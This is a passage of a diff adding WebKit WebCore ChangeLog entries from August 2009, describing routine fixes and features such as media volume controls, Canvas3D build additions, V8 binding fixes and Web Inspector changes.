+            Don't call setAttribute from the construtor, any registered mutation event 
+            listener will cause a crash.
+
+        * rendering/RenderMedia.cpp:
+        (WebCore::RenderMedia::createVolumeSlider):
+            Set the maxAttr here instead of in the constructor.
+
+2009-08-25  Dmitry Titov  <dimich@chromium.org>
+
+        Reviewed by Brady Eidson.
+
+        Timers from cached pages fire instantly rather than the after the specified timeout delay
+        https://bugs.webkit.org/show_bug.cgi?id=28683
+
+        Test: fast/dom/Window/timer-resume-on-navigation-back.html
+
+        * history/CachedPage.cpp:
+        (WebCore::CachedPage::restore): Remove duplicated Frame::restore() call, since
+            it should be done only once in FrameLoader::open(cachedFrame)
+        * page/DOMTimer.cpp: Added a debug-only flag and ASSERT to catch out-of-order suspense/restore.
+        (WebCore::DOMTimer::DOMTimer): Ditto.
+        (WebCore::DOMTimer::suspend): Ditto.
+        (WebCore::DOMTimer::resume): Ditto.
+        * page/DOMTimer.h: Ditto.
+
+2009-08-25  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        Setting the volume of a media element has no effect if called too early
+        https://bugs.webkit.org/show_bug.cgi?id=28731
+
+        * manual-tests/audio-volume.html: 
+            Added.
+
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
+        (WebCore::MediaPlayerPrivate::setVolume):
+        (WebCore::MediaPlayerPrivate::setRate):
+            Don't bail if metadata hasn't been loaded, it is fine to set rate and/or
+            volume as soon as the movie has been created.
+
+2009-08-25  David Levin  <levin@chromium.org>
+
+        Reviewed by Maciej Stachowiak.
+
+        DocumentThreadableLoader::getShouldUseCredentialStorage should allow for synchronous callbacks from SubresourceLoader::create.
+        https://bugs.webkit.org/show_bug.cgi?id=28728
+
+        Test: This code path is exercised while running xhr layout tests in chromium.
+
+        * loader/DocumentThreadableLoader.cpp:
+        (WebCore::DocumentThreadableLoader::getShouldUseCredentialStorage): When called
+        back synchronously, the loader is 0, so the assert is changed to allow for that.
+        (WebCore::DocumentThreadableLoader::loadRequest): Synchronous callbacks may be
+        done before SubresourceLoader::create finishes, so ensure that any previous loader
+        -- from a preflight request -- is cleared before calling SubresourceLoader::create.
+
+2009-08-25  Mark Rowe  <mrowe@apple.com>
+
+        Stop installing IDL files in to the framework.
+
+        * WebCore.xcodeproj/project.pbxproj:
+
+2009-08-25  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Support for HTMLInputElement::list and HTMLInputElement::selectedOption.
+        https://bugs.webkit.org/show_bug.cgi?id=27756
+
+        Tests: fast/forms/input-list.html
+               fast/forms/input-selectedoption.html
+
+        * html/HTMLAttributeNames.in:
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::parseMappedAttribute):
+        (WebCore::HTMLInputElement::list):
+        (WebCore::HTMLInputElement::selectedOption):
+        * html/HTMLInputElement.h:
+        * html/HTMLInputElement.idl:
+
+2009-08-25  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        <video> and <audio> controller should be accessible (edit)
+        https://bugs.webkit.org/show_bug.cgi?id=28081
+
+        Test: accessibility/media-element.html
+
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+            Add AccessibilityMediaControls.cpp/.h
+
+        * accessibility/AXObjectCache.cpp:
+        * accessibility/AXObjectCache.h:
+        (WebCore::AXObjectCache::getOrCreate):
+            Create AccessibilityMediaControl. Update Copyright
+
+        * accessibility/AccessibilityMediaControls.cpp:
+        * accessibility/AccessibilityMediaControls.h:
+            Added.
+
+        * accessibility/AccessibilityObject.cpp:
+        * accessibility/AccessibilityObject.h:
+            Add isMediaTimeline. Update Copyright.
+
+        * accessibility/AccessibilitySlider.h:
+            Make constructor protected instead of private so AccessibilityMediaTimeline can
+            call it.
+
+        * accessibility/mac/AccessibilityObjectWrapper.mm:
+        (-[AccessibilityObjectWrapper accessibilityAttributeNames]):
+            Add NSAccessibilityValueDescriptionAttribute to range attributes. 
+        (-[AccessibilityObjectWrapper subrole]):
+            Return NSAccessibilityTimelineSubrole for AccessibilityMediaTimeline.
+
+        * dom/Node.h:
+            add isMediaControlElement.
+
+        * page/mac/WebCoreViewFactory.h:
+        * platform/LocalizedStrings.h:
+        * platform/mac/LocalizedStringsMac.mm:
+        (WebCore::localizedMediaControlElementString): 
+        (WebCore::localizedMediaControlElementHelpText):
+        (WebCore::localizedMediaTimeDescription): 
+            New, return localized media controller strings.
+
+        * platform/gtk/LocalizedStringsGtk.cpp:
+        (WebCore::mediaElementLoadingStateText):
+        (WebCore::mediaElementLiveBroadcastStateText):
+            Move inside of "#if ENABLE(VIDEO)"
+        (WebCore::localizedMediaControlElementString):
+        (WebCore::localizedMediaControlElementHelpText):
+        (WebCore::localizedMediaTimeDescription):
+
+        * rendering/MediaControlElements.cpp:
+        (WebCore::MediaControlElement::MediaControlElement):
+            Initialize m_displayType.
+        (WebCore::MediaControlElement::MediaControlElement):
+        (WebCore::MediaControlStatusDisplayElement::MediaControlStatusDisplayElement):
+            Fix style.
+        (WebCore::MediaControlInputElement::MediaControlInputElement):
+            Set m_displayType based on pseudo style ID.
+        (WebCore::MediaControlInputElement::MediaControlInputElement):
+            rename local "o" to "object".
+        (WebCore::MediaControlMuteButtonElement::MediaControlMuteButtonElement):
+        (WebCore::MediaControlPlayButtonElement::MediaControlPlayButtonElement):
+        (WebCore::MediaControlSeekButtonElement::MediaControlSeekButtonElement):
+        (WebCore::MediaControlRewindButtonElement::MediaControlRewindButtonElement):
+        (WebCore::MediaControlReturnToRealtimeButtonElement::MediaControlReturnToRealtimeButtonElement):
+        (WebCore::MediaControlTimelineElement::MediaControlTimelineElement):
+        (WebCore::MediaControlFullscreenButtonElement::MediaControlFullscreenButtonElement):
+        (WebCore::MediaControlTimelineElement::MediaControlTimelineElement):
+        (WebCore::MediaControlTimelineElement::MediaControlTimelineElement):
+        (WebCore::MediaControlTimelineElement::MediaControlTimelineElement):
+            Update for MediaControlInputElement constructor change.
+        (WebCore::MediaControlTimeDisplayElement::formatTime):
+            New, moved here from RenderMedia so AccessibilityMediaTimeDisplay can use it.
+        (WebCore::MediaControlTimeDisplayElement::setCurrentValue):
+            New, set text to current time.
+        * rendering/MediaControlElements.h:
+
+        * rendering/RenderMedia.cpp:
+        (WebCore::RenderMedia::updateControls):
+            Create controls in tab order.
+        (WebCore::RenderMedia::formatTime):
+            Moved to MediaControlTimeDisplayElement::formatTime.
+        (WebCore::RenderMedia::updateTimeDisplay):
+            Call MediaControlTimeDisplayElement::setCurrentValue.
+        * rendering/RenderMedia.h:
+
+2009-08-25  Jian Li  <jianli@chromium.org>
+
+        Reviewed by David Levin.
+
+        [V8] Fix Canvas layout test failures in Chromium build.
+        https://bugs.webkit.org/show_bug.cgi?id=28720
+
+        The previous fix r47757 does not handle the V8 object conversion correctly.
+
+        * bindings/v8/custom/V8DocumentCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8HTMLCanvasElementCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+
+2009-08-25  Jian Li  <jianli@chromium.org>
+
+        Reviewed by David Levin.
+
+        [V8] Fix compiling errors in Chromium build caused by Canvas3D changes from r47752.
+        https://bugs.webkit.org/show_bug.cgi?id=28717
+
+        * bindings/v8/DOMObjectsInclude.h:
+        * bindings/v8/DerivedSourcesAllInOne.cpp:
+        * bindings/v8/V8Index.cpp:
+        * bindings/v8/V8Index.h:
+        * bindings/v8/custom/V8DocumentCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8HTMLCanvasElementCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+
+2009-08-25  Alpha Lam  <hclam@chromium.org>
+
+        Reviewed by David Levin.
+
+        [chromium] Implement media volume slider for chromium
+        https://bugs.webkit.org/show_bug.cgi?id=28715
+
+        Provided the implementation of the volume slider and its container for
+        chromium port. With this change there will be a usable volume control
+        slider for chromium theme.
+
+        No new tests since this is covered by existing media layout tests.
+
+        * css/mediaControlsChromium.css: CSS style for the volume slider.
+        * rendering/RenderThemeChromiumSkia.cpp:
+        (WebCore::mediaSliderThumbImage): Returns the image for slider thumb.
+        (WebCore::mediaVolumeSliderThumbImage): Returns the image for volume slider thumb.
+        (WebCore::RenderThemeChromiumSkia::paintMediaVolumeSliderTrack): Paints the track with one vertical white line.
+        (WebCore::RenderThemeChromiumSkia::adjustSliderThumbSize): Adjusts thumb sizes according to the images.
+        (WebCore::RenderThemeChromiumSkia::paintMediaSliderThumb): Paints slider thumb image.
+        (WebCore::RenderThemeChromiumSkia::paintMediaVolumeSliderThumb): Paints volume slider thumb image.
+
+2009-08-25  Chris Marrin  <cmarrin@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        Missed checking in 2 Canvas3D files
+        https://bugs.webkit.org/show_bug.cgi?id=28018
+
+        * bindings/js/JSCanvasRenderingContextCustom.cpp: Implements toJS to do proper subclass binding
+        * bindings/js/JSCanvasRenderingContext3DCustom.cpp: Argument marshaling for 3D calls
+
+2009-08-25  Mads Ager  <ager@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        [V8] Exception from JavaScript propagates to main script
+        https://bugs.webkit.org/show_bug.cgi?id=26433
+
+        Make sure that exceptions thrown both at compile time and at
+        runtime in javascript URLs are isolated from the main script.
+
+        Test: fast/dom/javascript-url-exception-isolation.html
+
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::evaluate):
+
+2009-08-25  Chris Marrin  <cmarrin@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        Added all new Canvas3D files to the build
+        https://bugs.webkit.org/show_bug.cgi?id=28018
+
+        This also hooks up CanvasRenderingContext as the common base class for
+        CanvasRenderingContext2D and CanvasRenderingContext3D. And it adds a bit
+        of logic throughout to support the new CanvasRenderingContext3D object.
+        But nothing is hooked up yet.
+
+        * DerivedSources.make:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore/GNUmakefile.am:
+        * WebCore/WebCore.gypi:
+        * WebCore/WebCoreSources.bkl:
+        * WebCore.xcodeproj/project.pbxproj:
+        * bindings/js/JSCanvasRenderingContext2DCustom.cpp:
+        (WebCore::JSCanvasRenderingContext2D::strokeStyle):
+        (WebCore::JSCanvasRenderingContext2D::setStrokeStyle):
+        (WebCore::JSCanvasRenderingContext2D::fillStyle):
+        (WebCore::JSCanvasRenderingContext2D::setFillStyle):
+        (WebCore::JSCanvasRenderingContext2D::setFillColor):
+        (WebCore::JSCanvasRenderingContext2D::setStrokeColor):
+        (WebCore::JSCanvasRenderingContext2D::strokeRect):
+        (WebCore::JSCanvasRenderingContext2D::drawImage):
+        (WebCore::JSCanvasRenderingContext2D::drawImageFromRect):
+        (WebCore::JSCanvasRenderingContext2D::setShadow):
+        (WebCore::JSCanvasRenderingContext2D::createPattern):
+        (WebCore::JSCanvasRenderingContext2D::putImageData):
+        (WebCore::JSCanvasRenderingContext2D::fillText):
+        (WebCore::JSCanvasRenderingContext2D::strokeText):
+        * bindings/js/JSDOMBinding.cpp:
+        (WebCore::isObservableThroughDOM):
+        * bindings/js/JSDocumentCustom.cpp:
+        * bindings/js/JSHTMLCanvasElementCustom.cpp:
+        (WebCore::JSHTMLCanvasElement::markChildren):
+        * dom/Document.cpp:
+        (WebCore::Document::getCSSCanvasContext):
+        * dom/Document.h:
+        * html/HTMLCanvasElement.cpp:
+        (WebCore::HTMLCanvasElement::getContext):
+        (WebCore::HTMLCanvasElement::willDraw):
+        (WebCore::HTMLCanvasElement::reset):
+        (WebCore::HTMLCanvasElement::paint):
+        (WebCore::HTMLCanvasElement::is3D):
+        (WebCore::HTMLCanvasElement::context3D):
+        (WebCore::HTMLCanvasElement::texture3D):
+        * html/HTMLCanvasElement.h:
+        (WebCore::HTMLCanvasElement::renderingContext):
+        * html/canvas/CanvasObject.cpp:
+        (WebCore::CanvasObject::~CanvasObject):
+        * html/canvas/CanvasRenderingContext.idl:
+        * html/canvas/CanvasRenderingContext2D.cpp:
+        (WebCore::CanvasRenderingContext2D::CanvasRenderingContext2D):
+        (WebCore::CanvasRenderingContext2D::~CanvasRenderingContext2D):
+        * html/canvas/CanvasRenderingContext2D.h:
+        (WebCore::CanvasRenderingContext2D::is2d):
+        * html/canvas/CanvasRenderingContext2D.idl:
+        * html/canvas/CanvasRenderingContext3D.cpp:
+        * html/canvas/CanvasRenderingContext3D.idl:
+
+2009-08-25  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Anders Carlsson.
+
+        REGRESSION (r47630): fast/repaint/background-generated.html is failing
+        https://bugs.webkit.org/show_bug.cgi?id=28704
+
+        * rendering/RenderBoxModelObject.cpp:
+        (WebCore::RenderBoxModelObject::calculateFillTileSize): Handle SizeNone.
+        * rendering/style/FillLayer.cpp:
+        (WebCore::FillLayer::FillLayer): Initialize the size type to SizeNone.
+        * rendering/style/FillLayer.h:
+        (WebCore::FillSize::FillSize): Changed assignment to initialization and
+            removed redundant assignment to size.
+
+2009-08-25  Yusuke Sato  <yusukes@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        [Chromium] Complex text doesn't show up with text stroking
+        https://bugs.webkit.org/show_bug.cgi?id=28707
+
+        Skip the NULL check of m_hdc if Windows GDI is not in use.
+
+        * platform/graphics/chromium/FontChromiumWin.cpp:
+        (WebCore::Font::drawComplexText):
+
+2009-08-25  Alpha Lam  <hclam@chromium.org>
+
+        Reviewed by David Levin.
+
+        Media controls panel does not have a volume control slider
+        https://bugs.webkit.org/show_bug.cgi?id=28241
+
+        Introduced "-webkit-media-controls-volume-slider",
+        "-webkit-media-controls-volume-slider-container" and the supporting
+        implementation. Also added appearances of "media-volume-slider" and
+        "media-volume-slider-container".
+
+        The implementation of the controls are in WebCore::MediaControlElements.
+        Logic to trigger the display of the volume controls are in WebCore::RenderMedia.
+
+        No new tests since this change doesn't have theme implementation and the
+        volume slider is disabled by default.
+
+        * accessibility/AccessibilitySlider.cpp:
+        (WebCore::AccessibilitySlider::orientation): Marks that volume slider is vertical.
+        * css/CSSPrimitiveValueMappings.h:
+        (WebCore::CSSPrimitiveValue::CSSPrimitiveValue): Added corresponding CSS values.
+        * css/CSSSelector.cpp:
+        (WebCore::CSSSelector::extractPseudoType): ditto.
+        * css/CSSSelector.h:
+        (WebCore::CSSSelector::): ditto.
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::SelectorChecker::checkOneSelector): ditto.
+        * css/CSSValueKeywords.in: ditto.
+        * css/mediaControls.css: Makes the volume slider disabled by default.
+        * platform/ThemeTypes.h: Defines theme parts for volume slider and its container.
+        (WebCore::):
+        * rendering/MediaControlElements.cpp:
+        (WebCore::MediaControlVolumeSliderContainerElement::MediaControlVolumeSliderContainerElement):
+        (WebCore::MediaControlVolumeSliderContainerElement::styleForElement):
+        Adjust the CSS values for "display", "postion", "left" and "top" according to member variables.
+        (WebCore::MediaControlVolumeSliderContainerElement::setVisible): Affects the "display" CSS value.
+        (WebCore::MediaControlVolumeSliderContainerElement::setPosition): Affects the "left" and "top" CSS values.
+        (WebCore::MediaControlVolumeSliderContainerElement::hitTest): Hit testing this element.
+        (WebCore::MediaControlVolumeSliderElement::MediaControlVolumeSliderElement):
+        (WebCore::MediaControlVolumeSliderElement::defaultEventHandler): Modifies the volume using the slider value, allows dragging.
+        * rendering/MediaControlElements.h:
+        (WebCore::): Added definition for MediaControlVolumeSliderElement and MediaControlVolumeSliderContainerElement.
+        (WebCore::MediaControlVolumeSliderContainerElement::isVisible): Inline getter.
+        * rendering/RenderMedia.cpp:
+        (WebCore::RenderMedia::styleDidChange): Updates styles for volume container and volume slider.
+        (WebCore::RenderMedia::createVolumeSliderContainer): Creates volume slider container and attach to panel.
+        (WebCore::RenderMedia::createVolumeSlider): Creates volume slider and attach to volume slider container.
+        (WebCore::RenderMedia::updateControls): Updates volume container and volume slider.
+        (WebCore::RenderMedia::updateVolumeSliderContainer): Sets the visibility and position of volume slider container and its child.
+        (WebCore::RenderMedia::forwardEvent):
+        Hit testing the volume slider container and volume slider to toggle the visibility and forward events to slider.
+        * rendering/RenderMedia.h:
+        Added definition for RenderMedia::updateVolumeSliderContainer().
+        * rendering/RenderMediaControls.cpp:
+        (WebCore::RenderMediaControls::paintMediaControlsPart): Not implemented.
+        * rendering/RenderSlider.cpp:
+        (WebCore::RenderSlider::createThumbStyle): Makes volume slider vertical.
+        (WebCore::RenderSlider::thumbRect): ditto.
+        (WebCore::RenderSlider::mouseEventIsInThumb): ditto.
+        (WebCore::RenderSlider::setValueForPosition): ditto.
+        (WebCore::RenderSlider::positionForOffset): ditto.
+        (WebCore::RenderSlider::currentPosition): ditto.
+        (WebCore::RenderSlider::trackSize): ditto.
+        * rendering/RenderTheme.cpp:
+        (WebCore::RenderTheme::adjustStyle): Adjust style for volume slider thumb.
+        (WebCore::RenderTheme::paint): Paints volume control parts using theme.
+        * rendering/RenderTheme.h:
+        (WebCore::RenderTheme::paintMediaVolumeSliderContainer): Naive implementation to be overridden.
+        (WebCore::RenderTheme::paintMediaVolumeSliderTrack): ditto.
+        (WebCore::RenderTheme::paintMediaVolumeSliderThumb): ditto.
+        * rendering/style/RenderStyleConstants.h:
+        (WebCore::): Constants for volume control parts.
+
+2009-08-25  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Reviewed by Ariya Hidayat.
+
+        [Qt/Mac] Use CONFIG+=build_all only when building libraries
+
+        If no configuration is specified when building WebKit we pass the
+        debug_and_release option to QMake which results in Makefiles for
+        both configurations being generated.
+
+        Previously we built both of these configurations by default, for
+        all targets (both the QtWebKit framework/dyldlib and the various
+        executables such as QtLauncher and tests). This makes sense for
+        the libraries, which get the _debug suffix and can be loaded on
+        demand by setting the DYLD_IMAGE_SUFFIX, but for executables we
+        ended up building the same executable twice.
+
+        We now only build one instance of each executable, and since this
+        is a developer build we build the debug-version. Passing either
+        --debug or --release to build-webkit will override this, and
+        even in the default case the release version can still be built
+        by running 'make release' in the the build directory of each
+        target.
+
+        * WebCore.pro:
+
+2009-08-25  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Jan Alonzo.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28690
+        Build failure in webkitgtk+-1.1.3
+
+        Do not use deprecated function to unref a pixbuf.
+
+        * platform/gtk/CursorGtk.cpp:
+        (WebCore::Cursor::Cursor):
+
+2009-08-24  Hironori Bono  <hbono@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Fix Bug 27827 "[Chromium] Functions Keys don't work in google spreadsheet".
+        <https://bugs.webkit.org/show_bug.cgi?id=27827>.
+
+        Because of the lack of mappings from GDK key-codes to WebKit key-codes,
+        Chromium cannot send valid key-codes to JavaScript when a user types
+        function keys. This change just copies the mappings from 'KeyEventGtk.cpp'.
+
+        To write layout tests for this issue, added mappings from function-key
+        names to platform-specific key-codes to EventSendingController objects
+        so that eventSender.keyDown() can send function-key events without using
+        platform-specific key codes. (Unfortunately, this eventSender.keyDown() change
+        is only for Mac. So this change adds this new test to Skipped tests for other
+        platforms to prevent this change from crashing the build trees.)
+
+        Test: fast/events/keydown-function-keys.html
+
+       * platform/chromium/KeyCodeConversionGtk.cpp: Add mappings from GDK key-codes
+        to WebKit key-code for function keys.
+        (WebCore::windowsKeyCodeForKeyEvent):
+
+2009-08-24  Antti Koivisto  <antti@apple.com>
+
+        Reviewed by Simon Fraser.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=28698
+        Avoid unnecessary transformations for the window resizer rect.
+
+        * platform/Scrollbar.cpp:
+        (WebCore::Scrollbar::setFrameRect):
+
+2009-08-24  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Anders Carlsson.
+
+        <rdar://problem/7161900> REGRESSION: 100 MB membuster leak on windows due to 47391
+        (DNS prefetching support)
+
+        * platform/network/cf/DNSCFNet.cpp: (WebCore::prefetchDNS): Use a run loop from secondary
+        thread on Windows, because there isn't one on main one.
+
+2009-08-24  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28374
+        Cross-scheme requests should not be blocked by appcache rules
+
+        Test: http/tests/appcache/different-scheme.html
+
+        * loader/appcache/ApplicationCacheHost.cpp:
+        (WebCore::ApplicationCacheHost::shouldLoadResourceFromApplicationCache):
+        Resources with different schemes can never be loaded from appcache.
+
+2009-08-24  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Darin Adler and Sam Weinig.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28688
+        REGRESSION(r24994): Cannot create a frame with a javascript URL
+
+        Test: http/tests/security/javascriptURL/javascriptURL-in-new-iframe.html
+
+        * bindings/js/JSAttrCustom.cpp: (WebCore::JSAttr::setValue):
+        * bindings/js/JSElementCustom.cpp: (WebCore::allowSettingSrcToJavascriptURL):
+        * bindings/js/JSHTMLFrameElementCustom.cpp: (WebCore::allowSettingJavascriptURL):
+        * bindings/js/JSHTMLIFrameElementCustom.cpp: (WebCore::JSHTMLIFrameElement::setSrc):
+        Omit the checks if there is no document in frame yet.
+
+2009-08-24  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Fix crash in fast/css/rem-dynamic-scaling.html due to a freed
+        RenderStyle being accessed.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28681
+
+        * dom/Element.cpp:
+        (WebCore::Element::recalcStyle): Make currentStyle a RefPtr.
+
+2009-08-24  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        <rdar://problem/5743105> Long freezing during loading and selecting text
+        of a large table
+        https://bugs.webkit.org/show_bug.cgi?id=14918
+
+        * rendering/RenderView.cpp:
+        (WebCore::RenderView::setSelection): Added calls to
+            beginDeferredRepaints() and endDeferredRepaints() around the
+            invalidation of the selection, in order to better coalesce multiple
+            invalid rectangles.
+
+2009-08-24  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        WebInspector: Simplify findTreeElement code, get rid of potential infinite loop.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28680
+
+        * inspector/front-end/ElementsPanel.js:
+        (WebInspector.ElementsPanel.prototype.updateBreadcrumb):
+        * inspector/front-end/ElementsTreeOutline.js:
+        (WebInspector.ElementsTreeOutline.prototype.findTreeElement):
+        * inspector/front-end/treeoutline.js:
+        (TreeOutline.prototype.getCachedTreeElement):
+        (TreeOutline.prototype.findTreeElement):
+        * inspector/front-end/utilities.js:
+        (isAncestorNode):
+        ():
+
+2009-08-24  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        WebInspector: Do expand local scope when hitting the break
+
+        https://bugs.webkit.org/show_bug.cgi?id=28678
+
+        * inspector/front-end/ScopeChainSidebarPane.js:
+        (WebInspector.ScopeChainSidebarPane.prototype.update):
+
+2009-08-24  Ada Chan  <adachan@apple.com>
+
+        Reviewed by Steve Falkenburg.
+
+        Make sure we use the current FrameView's frame rect when
+        going back to a cached page.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=28659
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::open):
+
+2009-08-24  Cameron McCormack  <cam@mcc.id.au>
+
+        Reviewed by Darin Adler.
+
+        Modifying <text rotate=""> doesn't clear the corresponding SVGAnimatedNumberList
+        https://bugs.webkit.org/show_bug.cgi?id=28673
+
+        Test: svg/dom/text-rotate-live.html
+
+        * svg/SVGNumberList.cpp:
+        (WebCore::SVGNumberList::parse): Clear the list before adding the parsed
+        numbers.
+
+2009-08-24  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by NOBODY (build fix)
+
+        Turn off ENABLE_3D_CANVAS in the xconfig files.
+
+        * Configurations/FeatureDefines.xcconfig:
+
+2009-08-24  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        WebInspector: Only expand local scope when hitting the break
+
+        https://bugs.webkit.org/show_bug.cgi?id=28678
+
+        * inspector/front-end/ScopeChainSidebarPane.js:
+        (WebInspector.ScopeChainSidebarPane.prototype.update):
+
+2009-08-24  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        background-size fails to parse if a single length/percentage/auto is followed by a comma
+        https://bugs.webkit.org/show_bug.cgi?id=28674
+
+        * css/CSSParser.cpp:
+        (WebCore::CSSParser::parseFillSize): Added an allowComma parameter,
+            which is set to false when this method consumes a comma. Moved
+            handling of 'contain' and 'cover' from parseFillProperty into this
+            method.
+        (WebCore::CSSParser::parseFillProperty): Set allowComma to true before
+            processing the next value, and pass allowComma to parseFillSize.
+        * css/CSSParser.h:
+
+2009-08-17  Martin Robinson  <martin.james.robinson@gmail.com>
+
+        Reviewed by Gustavo Noronha.
+
+        [GTK] Support for cursors that are images
+        https://bugs.webkit.org/show_bug.cgi?id=28346
+
+        Added support for cursors which are images for CursorGtk. Added
+        a manual test for this.
+
+        * manual-tests/gtk/cursor-image.html: Added.
+        * manual-tests/gtk/resources/redcursor.cur: Added.
+        * platform/gtk/CursorGtk.cpp:
+        (WebCore::Cursor::Cursor):
+
+2009-08-24  Zan Dobersek  <zandobersek@gmail.com>
+
+        Reviewed by Gustavo Noronha.
+
+        [GTK] Integrate GStreamer video with the graphics backend
+        https://bugs.webkit.org/show_bug.cgi?id=16356
+
+        Improves GStreamer backend implementation of MediaPlayerPrivate class.
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::mediaPlayerPrivateErrorCallback): Send proper MediaPlayer
+        error for different GStreamer errors to MediaPlayerPrivate.
+        (WebCore::MediaPlayerPrivate::MediaPlayerPrivate): Move static
+        initialization boolean to a better place.
+        (WebCore::MediaPlayerPrivate::play):
+        (WebCore::MediaPlayerPrivate::pause):
+        (WebCore::MediaPlayerPrivate::duration): Return if error occured, do not
+        consider the source as stream if duration query failed.
+        (WebCore::MediaPlayerPrivate::currentTime): Return if error occured, use
+        an early return.
+        (WebCore::MediaPlayerPrivate::seek): Return if error occured.
+        (WebCore::MediaPlayerPrivate::setEndTime): Remove implementation since this
+        function doesn't seem to be used anywhere in WebCore.
+        (WebCore::MediaPlayerPrivate::paused):
+        (WebCore::MediaPlayerPrivate::seeking):
+        (WebCore::MediaPlayerPrivate::setRate): Seek to current time when rate is set.
+        (WebCore::MediaPlayerPrivate::maxTimeBuffered): Return if error occured.
+        (WebCore::MediaPlayerPrivate::maxTimeSeekable): Ditto.
+        (WebCore::MediaPlayerPrivate::maxTimeLoaded): Ditto.
+        (WebCore::MediaPlayerPrivate::bytesLoaded):
+        (WebCore::MediaPlayerPrivate::totalBytesKnown):
+        (WebCore::MediaPlayerPrivate::totalBytes): Ditto.
+        (WebCore::MediaPlayerPrivate::updateStates): Return if error occured, update
+        after seek ended with a successful change
+        (WebCore::MediaPlayerPrivate::didEnd): Do not pause the playbin when end is reached.
+        (WebCore::MediaPlayerPrivate::loadingFailed): Update network state with the given error.
+        (WebCore::mimeTypeCache): Gather supported mime types from GStreamer.
+        (WebCore::MediaPlayerPrivate::getSupportedTypes):
+        (WebCore::MediaPlayerPrivate::supportsType):
+        (WebCore::MediaPlayerPrivate::hasSingleSecurityOrigin):
+        (WebCore::MediaPlayerPrivate::supportsFullscreen): First step towards fullscreen
+        support.
+        (WebCore::MediaPlayerPrivate::createGSTPlayBin): Use playbin2 instead of playbin,
+        do not set playbin's audio sink.
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.h:
+        * platform/graphics/gtk/VideoSinkGStreamer.cpp:
+        (webkit_video_sink_idle_func): Use C+casts, decrease reference count of async
+        queue at the end of the idle function.
+        (webkit_video_sink_render): Increase reference count of async queue.
+        (webkit_video_sink_stop): Remove any idle functions with the sink as data.
+
+2009-08-23  Chris Marrin  <cmarrin@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        Remaining new files for Canvas3D
+        https://bugs.webkit.org/show_bug.cgi?id=28018
+
+        * bindings/js/JSHTMLCanvasElementCustom.cpp: Added Canvas3D method behind an ifdef
+        * html/canvas/CanvasByteArray.cpp: Added. Efficient array of bytes for passing to GL functions
+        * html/canvas/CanvasByteArray.h: Added.
+        * html/canvas/CanvasByteArray.idl: Added.
+        * html/canvas/CanvasNumberArray.cpp: Added. Efficient array of 32 bit floats for passing to GL functions
+        * html/canvas/CanvasNumberArray.h: Added.
+        * html/canvas/CanvasNumberArray.idl: Added.
+
+2009-08-24  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        WebInspector: Migrate call frames interaction to the InjectedScript-based schema.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28408
+
+        * inspector/front-end/CallStackSidebarPane.js:
+        (WebInspector.CallStackSidebarPane.prototype.update):
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleView.prototype.doEvalInWindow):
+        (WebInspector.ConsoleTextMessage):
+        * inspector/front-end/DOMAgent.js:
+        (WebInspector.DOMAgent.prototype.get domWindow):
+        (InspectorController.openInInspectedWindow):
+        (InspectorController.getCallFrames):
+        (InspectorController.evaluateInCallFrame):
+        * inspector/front-end/ElementsPanel.js:
+        (WebInspector.ElementsPanel.prototype.reset):
+        (WebInspector.ElementsPanel.prototype.generateStylesheet):
+        * inspector/front-end/InjectedScript.js:
+        (InjectedScript.evaluate):
+        (InjectedScript._evaluateOn):
+        (InjectedScript.openInInspectedWindow):
+        (InjectedScript.getCallFrames):
+        (InjectedScript.evaluateInCallFrame):
+        (InjectedScript._callFrameForId):
